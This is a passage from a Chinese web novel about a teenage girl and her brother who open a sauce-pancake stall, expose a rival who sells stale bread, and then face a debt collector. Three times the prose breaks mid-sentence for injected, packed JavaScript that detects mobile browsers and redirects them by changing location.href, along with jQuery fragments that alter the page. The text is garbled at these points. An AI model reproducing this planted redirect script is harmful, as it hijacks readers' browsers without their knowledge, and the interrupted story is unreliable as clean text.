陈瑞安拿菜刀又分出一堆饼来：“大份，这么多，卖六文。” “这六文比四文才贵两文，怎么看着倒快有四文的两倍多了！” 陈瑞安狡黠地笑道：“没错，现在，你是一个女人，中份的稍微有点儿少，但也能吃；大份的稍微有点儿多，但也不会太撑，而且算起来比中份便宜不少，你选哪个？” 张金花想了想：“那我会选大份。” 陈瑞安道：“那我们又多挣了一文钱。” 张金花怪异地看向自己的女儿，好像从来没认识过她似的：“那男人吃大份又有点儿少，怎么办呢？” 陈瑞安又拨出一份饼：“我们还提供超大份，八文。” 这次拨出的饼没那么多了，大约是四文那份的一半多一点。 张金花提出质疑：“那男人看大份划算，就会选大份了。” “好问题。”陈瑞安用菜刀敲敲砧板，发出“咚咚”的声音，“你见过为了省钱，让自己饿着的男人吗？” 张金花哑口无言了。 沉默了好一会儿，张金花忍不住抛出最后一个问题：“那小份呢？” 陈瑞安答：“我们没有小份。” “为什么？” 陈瑞安奸笑道：“你不觉得小份听起来很不划算吗？换成中份，是不是顺耳了很多？” 张金花怔怔的，半晌才抹了一把脸，道：“陈瑞安，我养了你十四年，到今天才发现，你还有做奸商的潜质。” 陈瑞安很满意这个评价，嘴咧得跟开花了似的。 此时，二号试吃员奶奶午睡醒来，陈瑞安赶紧把奶奶叫过来尝酱香饼。 奶奶尝了尝，道：“哟！哪个御厨来民间采风来了？” 陈瑞安得意地拍拍胸脯：“御厨本人在此。” 奶奶道：“仙女下凡，托生成我大孙女啦？” 陈瑞安高兴地拍回去一个马屁：“那您老人家就是天上的太皇太后啦！” 一旁的张金花这才从恍惚中回过神，问陈瑞安：“那这个饼，咱们家派谁去摆摊卖呢？” 陈瑞安答：“当然是我啦，再拉上哥。” 张金花有些不敢苟同，问：“那你舒先生家的工作不做啦？你哥在衙门的差事也不要啦？” 11. 酱香饼挑子一头热 “当然要继续做啦！”陈瑞安道，“那也能挣不少呢。” “你们两个的工作时间都不短，这怎么兼顾得过来？要不还是我来吧。”张金花忧心忡忡地道。 陈瑞安掰着手指头给娘算时间：“我在舒先生那边的差事是巳时到酉时（9时-17时），哥散衙的时间同我一样，上班比我早半个时辰。我们辰时（7时-9时）在外面摆一个时辰，酱香饼的备料只需要面团和酱料，应该很容易，用不了太多时间，一个时辰就够够的了。 “总之，我们卯时（5时）开始做就差不多了。” 张金花有些心疼：“那也够早了。” “哎呀，不早啦，公鸡都打鸣啦！”陈瑞安挂在张金花的胳膊上撒娇，“早上不过早起一个时辰，那晚上也早睡一个时辰，不就补回来了吗？” 家庭的重担骤然落到一双儿女身上，张金花有些无所适从。 “我也帮不上你们什么忙。” “怎么帮不上？我和哥白天都在外面，买菜的事不还要靠您吗？这个还是您擅长，我们买菜容易上当受骗。” 在陈瑞安信誓旦旦的保证下，张金花总算暂时不那么踌躇。 母女俩又温存了一会儿，陈瑞安就去准备摆摊需要的其他东西了。 首先，摆摊需要一个出摊用的小摊位。 由于煎饼的步骤需要在摊位上现场完成，因此摊位最重要的功能区有三块：一个能烧炭加热的大锅、一个刷酱和切饼区、一个放面团的储物区。 大致明确了自己的需求，陈瑞安画了一张简易的示意图纸，就独自去了大顺家的木匠作坊。 大顺爹正忙，就叫大顺和他二哥大宏先接待陈瑞安。 大顺举着示意图看了又看，咂舌道：“这图画得真好，字写得也好。小安，你现在真是个大才女了，怎么什么都会啊！” 陈瑞安并不曾学过画画，只因跟着舒小姐练了两年字，控笔还过得去，画出来的图纸不过是横平竖直、需求清晰罢了。哪有大顺说得那么好！ 陈瑞安笑道：“大顺，你跟阿亭一起待久了，怎么越来越像她了？什么事情都要夸夸我。” 大顺嘿嘿笑道：“我句句都是肺腑之言。你画的这个图，我一看就明白了，比专业的工匠也不差多少了。摊位我们家常做，像你这样做成车的样式的，倒很少见，是个好主意。” 大顺的二哥大宏道：“但是没有必要。” “二哥，你别这么说，我看着挺好的，地方宽敞，推起来也省力。”大顺有些汗颜。 陈瑞安倒是不觉得尴尬，她朝大宏虚心求教：“为什么？” 她的图纸是仔细回忆了街边酱香饼摊位后，仿照现代餐车的样式画的，是经过现代小商贩们不断实践验证过的实用设计。 但是这样的设计，在古代未必能行得通，她也很乐意听一听专业人士的意见。 大宏道：“第一，你手头宽裕吗？急着做完出摊吗？” 欠了那么多债，当然不宽裕！ 陈瑞安摇摇头：“不宽裕，我确实需要尽量省钱。虽说不很急，但当然能早些做完更好，那样就能早点出摊赚钱了。” 大宏道：“那你首先就不该做这个车轮。车轮工序复杂，耗时耗力，造价也要高非常多。” “但是我哥和我力气都不大，又要带锅又要带原材料，我怕我们搬不动。”陈瑞安提出自己的需求。 大宏用朱笔在图纸的车轮部分画了一个圈，面无表情道：“既然别人都能，那我想你们也只好克服一下了。” 二哥的不礼貌使大顺感到十分羞愧，他赶紧向陈瑞安解释：“我二哥这人说话就这样，你别在意。其实还是有办法的，我们用薄一点的模板，就可以把摊位做轻一点。” 陈瑞安笑着摇摇头表示不介意：“大宏哥，那第二呢？” 大宏道：“第二，你的锅为什么要用平的？” “因为我们打算做大饼，平底锅煎饼比较方便。”陈瑞安解释。 大宏问：“普通形状的锅不能做吗？” 陈瑞安哽住，想了想，方道：“倒是也能。” “那我建议你们还是用普通的锅。”大宏又用朱笔在锅上画了一个圈。 “首先，平底锅受热不如普通的炒锅均匀，未必会更好用。其次，铁匠那边有现成的铁锅可以买，比你去定做平底锅更便宜，也更快。” 是哦！现代人用平底锅，是因为摆摊用电热丝加热，平底锅的形状更好做，也没有受热不均的问题。仔细想想，在燃气灶上，炒锅是比平底锅更好用。 陈瑞安点点头，表示同意。 “第三，”大宏又在整辆车上画了一个圈，“整个摊位很沉，你们确实搬不动。所以，我建议分成两半，做成挑子的样式，用扁担抬着走。一边做炉子，一边放材料、当砧板。” 传统的馄饨摊、剃头摊，都是挑子的样式。有句话叫“剃头挑子一头热”，就是说剃头匠的挑子上，一头是工具和板凳，另一头是用来烧水的炉子，因此只有炉子的那一头是热的。 馄饨挑子和剃头挑子的式样，直到现代都能偶尔看见。 陈瑞安看了又看，不禁感到这个样式果然是最实用、最便宜的。劳动人民的智慧果然无穷无尽啊！ 陈瑞安连连向大宏道谢：“大宏哥，还是你有经验，你帮了我大忙了，这样做果然省钱又好用。” 大宏倒是并没有因她的赞美而得意，而是继续问：“你说的那个饼，到底是什么做法？” 陈瑞安粗略介绍了一番，于是大宏按照她的需求，调整了操作台的大小，又加了两个抽屉，一个用来放酱料，一个用来放钱。 大宏正画着新图纸，大顺爹干完手上的一件活儿，抽空出来看了一眼，于是大宏又言简意赅地向他介绍了自己修改过的方案。 大顺爹越听越欣慰，对着图纸看了又看。 老子看儿子，越看越欢喜，大顺爹愈发觉得自己的二儿子真是做木匠的料，至于小儿子么—— 大顺爹抬起手，朝小儿子的脑袋上抽了一巴掌。 大顺莫名其妙挨了老子一巴掌，给打懵了，半晌才不可置信地大喊：“爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119290|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，好好的，你为什么打我？！” 大顺爹瞪着眼道：“你学着点儿！瞧瞧你自己，再瞧瞧你二哥，比你不知道强多少！” “我才过来学了半年！二哥要是连我都比不过，那他才是白干了！”大顺揉着脑袋，认为爹十分不可理喻。 大宏对二人的吵闹充耳不闻，自顾自地画完了那张新图纸。 图纸的最终效果陈瑞安很满意，当即下了订单。 大顺爹给陈瑞安打了大折扣，又主动提出要帮她从铁匠那里买锅和炉子，两家常有合作，可以拿到更实惠的价格。 陈瑞安十分感激，用自己的私房钱付了定金，议定剩下的钱等陈瑞平带着剩下的钱回家、交付酱香饼挑子的时候再付。 几日后，陈瑞平终于把爹接回来了。 爹腿上打着木板，精神倒很好，笑盈盈的。 陈瑞平把他背下马车，放到从前爷爷睡的床上。从前为了方便照顾爷爷，床、茶几、马桶之物，都是特指的，如今倒是现成。 安顿好了爹，陈瑞平马不停蹄地就要去郡城还马车，毕竟多用一天就要多付一天的钱。 为了让爹趴得束缚一些，车上还铺着木板和被褥，陈瑞安帮着哥哥一起卸下来。 趁着卸东西的功夫，陈瑞安悄悄问哥哥：“结完车钱和车夫的工钱，还剩下多少钱？” 陈瑞平道：“我们运气好，刚上路，天就晴了，雪也化了，这一趟来回比预计要快不少，省了许多钱。我算着，应该还剩七两多。” 酱香饼挑子加上铁锅、炉子，要价大约二两。 这样看，虽然欠了些外债，但家中还算有些现金流，至少短时间内，不必为钱发愁了。 送走了哥哥，陈瑞安打算去同爹说说话。 走到房间门口，她朦朦胧胧听见娘对爹说：“……你猜猜她说什么？……她说，‘小份改名叫中份了，因为小份听起来不划算’！” 爹趴在床上大笑：“小安脾气像你，长得也像你，做生意的天赋倒是随了我！” 陈瑞安倚在门上，“哼”了一声：“说我坏话哪？” “这叫什么坏话？这可都是大大的好话。”爹朝陈瑞安挥挥手，示意她过来。 爹上下打量了她一番，肯定地道：“瘦了。” “没有，是长高了，显瘦。”陈瑞安很为自己的高个儿而自豪。 上辈子求而不得的一米七，这辈子终于拥有了。走在路上能俯视众生的感觉，爽啊！ 爹有些抱歉地说：“今年运道不大好，做生意没有赚到钱，反倒亏了些。我手里还剩十两多银子，等瑞平回来，叫他找出来。” 张金花忙道：“你留着，那是你的钱，留着做生意的本钱。” “什么你的我的？一家人，还说这些话。要做生意，等两个孩子帮我把本钱赚回来。” 爹又道：“小安，你这么小，就要忙前忙后地替家里赚钱，爹对不住你。” 陈瑞安笑嘻嘻道：“不辛苦，我做着觉得好玩。等我觉得不好玩了，就丢还给你们，爹你也不用出去了。” 12. 开门红 摆摊第一天，瑞平瑞安兄妹早早起床，开始准备酱香饼需要的材料。 考虑到酱香饼事业刚刚起步，还没有积累起固定客户，陈瑞安决定保守一点，第一天只做四张饼。 这样一来，就算生意不好，一家人努努力，还可以把剩下的饼内部消化，不会浪费。 男人力气大，揉面这样简单又费力的活儿交给陈瑞平去做；陈瑞安自己则切各种香料、炒酱、做油酥。最后，陈瑞安来抹油酥、把面团擀成饼，陈瑞平洗锅碗瓢盆、准备要用的炭火。 万事俱备，此时天还未大亮，陈瑞平挑着挑子，陈瑞安拎着一桶面饼，兄妹二人踩着朝霞出发了。 摆摊的地点定在东街，就在那家东街北头那家麻花小店的对面，那边交通位置好、店铺多，人来人往都会经过，客流量是最大的。 东街离陈家有些距离，说近不近、说远不远，走路要走一刻多钟。 往日陈瑞安去那边逛街买东西，总觉得不一会儿就到了；可今日，拎着恐怕有十斤重的桶，陈瑞安胳膊很快酸痛发麻起来，只感觉这条路怎么也走不到头。 陈瑞平也是平日里从来不做体力活儿的，人也瘦，看着十分孱弱。他肩上的扁担比陈瑞安的桶更要重上几倍，只觉被压得直不起腰，步步都走得十分艰难。 “陈瑞平，你累不累？”陈瑞安关切地问道，“你要是累，我们可以先歇一会儿。” 陈瑞平咬着牙，摇摇头：“我能走。我们原本的时间就不多，抓紧时间早去一点，就能多卖一些。” 这样寒冷的冬日里，两人喘着粗气，竟走出了一身的汗。 终于到了地方，两人卸下扁担，把材料都摆到顺手的位置，给炉子点上火。 陈瑞安看了看天色，估摸着早高峰的时间快到了，于是取出一张擀好的面饼，开始煎饼。 周围的小摊贩见来了个新早点摊，都好奇地探过头来看。 “哟，小姑娘，你家的胡饼怎么这么大哪？” 陈瑞安解释道：“这不是胡饼，这是酱香饼，比胡饼软、香，要刷上酱、切成块吃的。” “酱香饼？好吃吗？我还从来没听说过这样吃食呢。听起来还怪香的！” 卖胡饼的大婶听陈瑞安说这个饼比胡饼好，有些不高兴了，道：“这还用问？好吃的东西大家都爱吃，一传十、十传百，既然没听说过，当然是不好吃了！” 周围人听了这话，都笑了，纷纷表示认同。 一人道：“上次有人挑着担子叫卖，说是什么外地的特产，叫“豆汁儿”，我家老婆子听着好玩就买了。结果，喝了一口，连着上一顿的饭一起吐出来了！” 另一人附和道：“上次一个外地人卖果子，我看着红彤彤的喜人，买了一点儿。那叫一个酸哟！剩下了，我拿去喂鸡，鸡都不肯吃，全给扔了！” 陈瑞平急了，赶紧道：“我们的酱香饼不一样，是真的好吃。” 大家哄笑道：“卖东西的人都这么说！” 陈瑞安拿手肘顶哥哥，示意他不要在意，向大家笑道：“各位大哥大姐不必争，等我煎出饼来，切给大家都尝一尝，好不好吃的，就自见分晓了。” 围观的人们听说有不要钱的饼可以尝，自是乐意。 人群中有一人喊道：“小妹妹，大哥我是个直肠子，尝了不好吃，我可是要实话实说的！” “您尽管说实话！”陈瑞安对自己的酱香饼很有信心。 陈瑞安见面饼差不多煎好了，就打开酱料的盖子，给饼上刷了厚厚一层酱，又撒上白芝麻和葱花。 有了锅里的热度，酱料闻起来愈发的香，围观的人不禁都深吸了一口气。 “这闻起来，好像是挺香的哈？” “我忙了半天还没吃东西呢，一闻这味道，现在忽然有点儿饿了。” 把做好的酱香饼铲到砧板上，陈瑞安开始切饼。 虽然不收钱，但陈瑞安切的很大块。试吃一定要给得大方，不然客人尝不出来味儿，还造成了一个小气的坏印象，不如不给试吃。 “小老板还挺大气的！” “是啊，上次我去西街那家糕点铺，切给我尝的还没指甲盖儿大呢。” “那家店我也去过！我吃不出来味儿，又要了一块，那个老板还刺了我两句，可给我气坏了。” 陈瑞安用刀尖叉了一块酱香饼，招呼那位“直肠子”大哥：“大哥，你先来。” 大伙儿都笑了，纷纷起哄：“得说实话啊！”“大哥，我相信你，你可别骗我！” 大哥上前，拿起酱香饼，放进嘴里。 大哥嚼巴嚼巴，先皱着眉头“嗯？”了一声，一会儿，又解开眉头“嗯！”了一声。 好奇酱香饼味道的人急了：“大哥，别打哑谜呀，这饼，到底好不好吃啊？” 大哥手伸进怀里掏钱：“小老板，给我来一份酱香饼！” 陈瑞安眉开眼笑：“好嘞！中份四文，大份六文，超大份八文，大哥要多少？” “要超大份的！” 陈瑞安手脚麻利地给大哥用油纸包了一份饼，陈瑞平在一旁负责收钱。 “这么多饼，才卖八文！比我想象的要便宜。” “大哥这个反应，应该是好吃的意思吧？” “废话，当然是好吃啊！不好吃大哥能要超大份吗？” 陈瑞安喊道：“还有谁要试吃？” “我要！” “我也要！” “别挤呀！是我先来的！” 围观的人们蜂拥而上，都尝了尝这新奇的酱香饼。 在试吃的人里，有将近一半都买了一份饼，陈瑞安轻轻松松卖完了第一张酱香饼，后面还有没买到的人在等下一张饼出锅。 陈瑞平悄悄向妹妹道：“小安，我知道酱香饼好吃，但真没想到会这么好卖！” 陈瑞安白了陈瑞平一眼：“你说什么傻话？既然好吃，价格也合理，为什么会不好卖？” 卖胡饼的大婶也跟着尝了一块酱香饼，但并没有买，而是向其他人嘀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128662|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咕：“我觉得味道其实一般。” 对方道：“真的吗？我也尝了，我觉得挺好吃的呀！” 又有人道：“涂大婶，你别是看人家好吃，眼红吧？” 涂大婶气急败坏道：“你不要污蔑我！你爱吃，那你多吃，我反正觉得不好吃。” 陈瑞安把这番对话收入耳中，偷偷笑了笑，一边煎了一张新的饼，一边把上一张饼剩的一点点装起来，作为试吃。 产品口味过关，只要客人试吃了，她就有信心能卖出去！ 刚卖完这波小商贩，早高峰很快就来了。 早高峰的情况也比预想要好。虽然大家从来没吃过酱香饼，有相当一部分人还是有些迟疑，过来看了一眼就走了，但总的来说，生意还不错。 这很大程度上归功于陈瑞安设置的试吃盒，很多客人试吃后惊为天人，马上买了一份酱香饼。 何况，有的客人脸皮薄，但又爱占便宜。有些客人其实已经在其他摊位买了早点，一看这边有免费试吃，眼巴巴地过来吃了，又不好意思白吃，一看味道还可以，也就买了一份。 还有一部分客人，是买早点的时候，见其他摊主在吃酱香饼，好奇，于是过来买了中份的尝尝味道。 这边正如火如荼地卖着饼，忽然响起一个声音，道：“这酱香饼卖得这么便宜，别是加了什么不干净的东西吧？” 陈瑞安转头一看，原来是卖胡饼的涂大婶。 涂大婶的摊位正靠着酱香饼摊位。见酱香饼卖得好、她的胡饼卖得不好，她自觉是被隔壁酱香饼分薄了生意，越想心里越不舒服，于是喊了一声，想要吓退几个客人。 正在排队买酱香饼的客人听了这话，居然有几人神色间真有些踌躇。 空口污蔑，这也能忍？ 这厢陈瑞平还在文绉绉地吵架：“空口无凭，你不要信口雌黄！” 陈瑞安冷笑一声，高声喊道：“大婶，你不能因为你的胡饼不好卖，眼热，就跑过来说别人的饼不好吧？” 客人们听了这话，也醒悟过来，酱香饼虽然还算便宜，但价格也并不离谱，这人完全是信口开河，多半就是嫉妒别人生意好。 涂大婶才不会承认自己的动机，犹道：“你要是觉得你的饼干净，你倒是告诉大家，你的饼里都加了什么东西？” 对做吃食生意的人来说，配方原是安身立命的东西，多少人家靠一张祖传秘方，养活了一代又一代人，岂是能这样轻易说出口的？ 陈瑞安当然不会上当，道：“谁主张谁举证，你说我的饼不干净，你倒是拿出证据来啊？总不能你胡诌两句，大家就都听你的吧？” 涂大婶当然没有证据，只好车轱辘话：“你有本事告诉大家里面有什么呀？” “你有本事拿证据呀？” 两人你来我往地吵着架，客人们虽然不信酱香饼不干净，但也渐渐等得有些不耐烦了。 这时，一个清亮的声音道：“涂大婶，你别是因为自己做生意不诚信，以己度人了吧？” 13. 有仇必报 陈瑞安抬头一看，竟是一个十七八岁、浓眉大眼的漂亮姐姐。 涂大婶涨红了脸，大声反驳道：“乔秀珠，你不要胡说八道！” “胡说八道？到底是谁在胡说八道？”名叫乔秀珠的女孩子懒懒散散地说道，全然不把涂大婶的愤怒当回事。 “你是还记着上次的事情，想借此机会报复我！” 乔秀珠嗤笑一声：“上次的事情？上次什么事情？” 涂大婶不回答，只是恶狠狠地盯着乔秀珠。 “你不说是吧？那我来说。” 周围早已围着许多看热闹的人。乔秀珠转身面向人群，大声道： “上次我吃了这个老虔婆卖的胡饼，回家以后上吐下泻了整整两天！” 涂大婶立马喊道：“那是因为你自己身体不好，跟我的饼可没有关系！” 乔秀珠仿佛觉得涂大婶的话很幽默似的，一直低着头笑。 见乔秀珠不语，涂大婶更觉得自己占理了，接着喊：“那天你们一家人都吃了我的胡饼，只有你一个人生病！这分明是你自己体弱多病，凭什么要怪到我的饼上来？！” “噢，我也一直觉得奇怪呢。”乔秀珠冷笑着，一步步走到涂大婶的饼炉前，敲了敲她的炉子，“不过，现在我知道了。” 涂大婶有些心虚似的，一把拍开乔秀珠的手，警惕地护住自己的炉子。 乔秀珠忽地拔高了声音：“这个老虔婆，在她的炉子底下，偷偷藏了隔夜的、没卖完的胡饼！” 人群中一片哗然。 许多人都是买过涂大婶的胡饼的，此刻不由窃窃私语起来，回忆从前吃涂大婶的胡饼时是否有过腹痛腹泻。 涂大婶立马大喊：“我没有！我的胡饼都是现贴、现烤的！” 乔秀珠道：“我已经观察你一个多月了。每天早上，趁客人来之前，你会偷偷把隔夜的胡饼贴近炉子。 “等客人来买胡饼时，你会假装贴一张新鲜的面饼进去，但其实，你取出来卖给客人的，是隔夜的胡饼！” 涂大婶已经激动得脸红脖子粗了，犹道：“你有本事拿证据出来！” “那可不就巧了？”乔秀珠笑道，“今天早上，这个老虔婆忙着试吃旁边这个妹妹家的酱香饼，还没来得及把她的隔夜胡饼放进炉子呢。” “现在，隔夜的胡饼就在她脚边的那个篮子里！” 涂大婶做贼心虚，立马要去拿那个篮子；然而陈瑞安眼疾手快，也拿起了那个篮子！ 陈瑞安注意到，乔秀珠在与涂大婶争执时，余光总落到那个篮子上。 于是她早早留了个心眼，悄悄地靠近过去，占据了一个可以抢篮子的好位置。 只是涂大婶毕竟离篮子更近，因此两人几乎在同一时间拿起了篮子。 两人谁也不肯让谁，使出全力争抢那一只篮子。 涂大婶身材矮而胖，陈瑞安个子瘦而高，两人的力量竟不分伯仲，僵持不下。 千钧一发之际，陈瑞安的哥哥陈瑞平不知从哪里闪出来，从背后抱住了涂大婶。涂大婶吓了一跳，登时卸了力，陈瑞安成功夺过了那只篮子。 涂大婶气得胡乱大喊：“抢劫啦！非礼啦！年轻人合起伙来欺负我老婆子啦！” 陈瑞安掀开篮子上的盖布，里面果然装着十几个表面已经有些干裂的胡饼。 “大家看！这些胡饼摸着发凉发硬，表面干裂，是已经放了很久的！” 不少人都伸长了脖子看篮子里的胡饼。 一个靠得近的路人拿起一张胡饼，撕下一点，尝了一口，道：“没错，是隔夜的！我家没吃完剩下的胡饼，第二天就是这个口感！” 涂大婶还在死鸭子嘴硬，道：“隔夜的又怎么了！胡饼隔夜无非是口感差些，又不会坏，谁家没吃过隔夜的胡饼？也没见过谁吃了拉肚子的！” “没错，现在天冷，胡饼放一天是不会坏。”乔秀珠举起一张胡饼，一边向路人展示，一边道，“但是我当时买胡饼的时候，是在梅雨天！” “梅雨天雨水多，胡饼本来就容易坏；加上客人少，做好的胡饼不好卖，这老虔婆把剩下的胡饼留了两三天！” “这老虔婆把新鲜胡饼和留了好几天的的胡饼混着卖，我家里人吃的是新鲜胡饼，所以没事；我倒霉，吃的是早已经发霉变质的胡饼！” 真相大白，围观的人群一想起曾经吃过涂大婶卖的胡饼，不禁都有些后怕。 “发了霉的胡饼，那哪能吃啊！” “你这个婆子，卖不完的胡饼，你自己家里吃了不行吗？还拿出来卖，这不是害人嘛！” “我想起来了，我上上个月连着拉了好几天的肚子，我还以为是着凉了呢！现在想来，就是吃了这家的胡饼的缘故！” 事已至此，涂大婶自知已经无力回天，挣脱了陈瑞平的怀抱，恨恨地收拾东西走了。 涂大婶在河头县的名声已经败坏，为了维持生计，后来她搬去了隔壁县的女儿家，到那边卖胡饼去了。 看完了这一场热闹，人群渐渐散去，只留下乔秀珠和陈家兄妹。 陈瑞安打包了一份超大份的酱香饼，送到乔秀珠手上：“姐姐，多谢你揭穿了那老虔婆的真实面目，不然恐怕真的会有人相信她说的话，以为我们的酱香饼不干净了。” “无功不受禄，我原是自己与她有过节。我这人有仇必报，见她可恶，早想着要干这一仗了。她向来这副德行，新来的小商贩，都要受她挤兑的。”乔秀珠连连推拒。 陈瑞安执意要给：“姐姐不收谢礼，那就当是我看姐姐漂亮，主动送你的。” 乔秀珠被夸得心花怒放，道：“好吧，那我就收下了。我叫乔秀珠，你叫我秀珠姐就好，我家是卖麻花的。”说着，乔秀珠伸手指了指小摊对面的麻花店。 “居然是你家呀！我们一家人都爱吃你家的麻花！”陈瑞安十分惊喜。 乔秀珠不以为意，道：“平日里都是我看店，你哪天来买麻花，我给你抹零。” “那太好啦！对了，秀珠姐，我叫陈瑞安，叫我小安就好；这是我哥哥陈瑞平。我们家住在榕树巷。” 乔秀珠记下了，向陈瑞平道：“刚刚也多谢你， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133902|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不是你抱住那老虔婆，我们还抢不到那篮子胡饼呢。” 陈瑞平平日里鲜少有机会与同龄女孩子说话，何况是个含苞待放的漂亮女孩子，不由羞红了，连声道没事没事。 送走乔秀珠后，陈家兄妹接着卖酱香饼。 经过刚刚那一遭，竟引来不少客人，他们注意到这个卖酱香饼的小摊子，都想尝尝鲜。 是以，早高峰才过一半，他们带来的四张饼居然就卖空了。 陈瑞安原本想着卖不完可以自己吃，这下卖得一点都不剩，连兄妹两人的份都没有了。 从其他摊子上买了些包子作为一家人的早饭，兄妹两人就抬着酱香饼挑子回家了。 虽然挑子比来时轻不了多少，但今天早上赚到了钱，两人都十分高兴，竟也不觉得沉了。 回到家，顾不上吃饭，一家人算起了账。 “今天一共赚了……一百零八文钱！这数字真好，吉利。”张金花数着钱，惊喜道。 “这是收入，还没算成本呢。食材、炭火，这些都是钱。我们定价定得低，我之前算过，纯盈利大约是四成。”陈瑞安道。 “四成，那就是……”张金花有些算不过来。 爹道：“四十文出头。” “没错没错，我一时糊涂了，一百文的四成，可不就是四十文。”张金花掰着手指头，“一天四十文，十天就是四百文，唉哟，这可不少了。” 陈瑞安道：“还能更多呢，今天我们早早就卖完收摊了。照今天的情况，如果一直卖到辰时末，至少能卖十张饼。将来有了回头客，还能多卖。” 爹拿了把算盘，快速拨了一通：“就算十五张饼吧，这饼好吃，回头客一定多。” “一百零八的四成，四张饼挣四十三文二分，一张饼挣十文八分；一天十五张饼，就是一百六十二文；一个月三十天，一百六十二乘三十……” 算盘珠子清脆的响声停了下来，爹深吸一口气，得出了结论：“一个月能挣四千八百六十文钱，也就是四贯多、将近五贯钱了。” “乖乖！”张金花惊得下巴都快掉下来了，“五贯钱！就早上这两个时辰，一个月能挣五贯钱！” 陈瑞平也惊呆了，怔怔地道：“我在衙门一个月的薪水，也才三贯钱。不过是早上卖个早点，居然能挣这么多！” 陈瑞安犹觉得不大满意：“也差不多了，一个半月才能回本呢。你薪水本来就不高，而且你在衙门是一天四个时辰，我们早上是两个人两个时辰，多不了太多。” “加油，”陈瑞安拍拍哥哥的肩膀，“我们争取一天卖二十张饼，挣得就算还不错了！” 一家人尚沉浸在挣了钱的兴奋和欣喜之中，忽然传来一阵敲门声。 “陈兴在家吗？陈兴？” 陈兴是爹的名字。 张金花听着声音，觉得不大熟悉，问爹：“你听出来是谁的声音没有？” 爹摇摇头。 外面那人忽然拔高了声音，道：“陈兴！你别躲在里面不出声，我知道你在家！欠债还钱，天经地义，快还钱！” 14. □□ 陈家奶奶正在院子里泼洗脸水，听见声音，赶紧去开了门。 门外站着一个中年男人，见开门的是个老婆子，立马急冲冲地往里闯：“陈兴呢？我找陈兴！” “唉哟！小伙子，当心着些！”奶奶手里的脸盆险些被这男人撞脱了手，“陈兴是我儿子。你是哪位，找他有什么事？” 爹早已从窗子里看清了来人，派了陈瑞平出来接。 陈瑞平伸出手，示意男人进屋：“李叔，我爹在里面，你跟我进来吧。” 原来，这男人名叫李英，是城西醉仙居酒楼的老板。 李英的祖父原先是个街边小饭馆的厨师，因他熏鸭做得好，他攒了些钱后，便自立门户，开了一家店专卖熏鸭。生意越做越大，他干脆开了家酒楼，也就是如今的醉仙居。 早年间，因有熏鸭作招牌，醉仙居也曾经红火过一阵。 只是，几十年过去，熏鸭再好吃，河头县的人也已经吃腻。加上有喜来酒楼后来居上，抢走了不少老客，醉仙居的生意一日不如一日，渐渐没落了。 是以，醉仙居传到李英手上时，已经是举步维艰，连厨师的工钱也发不出了。 为了维持生计，李英自己做厨师，让老婆收银端菜，把酒楼当小饭馆来开。 因醉仙居的铺面是李英的爷爷买下来的，不必另出租金，虽然生意不好，李英一家的日子倒还过得下去。 一日，恰逢李英的老婆回了娘家，李英做好菜后，便亲自给客人上菜。 上菜时，其中一个客人正道：“……我今年也是走偏财运。去年我投的几笔钱，都小赚了一笔，今年陆陆续续回了账；最难得是今年上半年那一笔，我投了五十两进去，你们猜怎么着？” 那人神秘兮兮的，用手比了个手势：“回了这个数。” 其他几个客人道：“七十两？那是还不错。” “七十两？”那人扁着嘴摇摇头，“七成！连本带利，一共回了八十五两！” 其余几人都道：“嚯！那这笔钱真是投对了。这才半年，竟回了这么多！” 李英在一旁听着，心思渐渐活络起来。 李英攒了一笔钱，是预备将醉仙居整体修缮一番的。 因醉仙居年久失修，屋顶、楼梯，各有各的问题，修起来要花费不少钱。李英攒了四五年，至今也没有攒齐费用。 李英暗暗算计着，如果半年就能赚七成，那他攒的这些钱投进去，岂不是很快就能凑齐修缮的经费？ 李英赶紧问那说自己走偏财运的客人：“客官，您说的这桩发财的生意，是从哪儿找的啊？” 那客人道：“嗨，发什么财呀，无非是手里有些闲钱，投给一些跑生意的人，分一些红，赚些酒钱罢了。怎么，你也想投？” 李英忙道：“不是不是，我哪里有钱！我有一个兄弟，手里正有些闲钱，原本预备放印子钱呢，我说这事儿可做不得，给劝住了。偏巧，今儿碰见您了，我替他问问，也算功德一件。” “哟！印子钱的确放不得，老弟，你真是积德了。” 那客人想了想，道：“我刚刚说的那几家，如今都已经出去了，投不了了。榕树巷有一户姓陈的，倒是正好在家，你可以叫你兄弟去找他。” 李英赶紧拿笔记下了，连连道谢。 “但是老弟，替我提醒你兄弟一句。”那客人又道，“做生意呢，有赚就有赔，都是有风险的。运气好，本钱翻好几倍事，我也是碰到过的；运气不好，血本无归，也常有。” 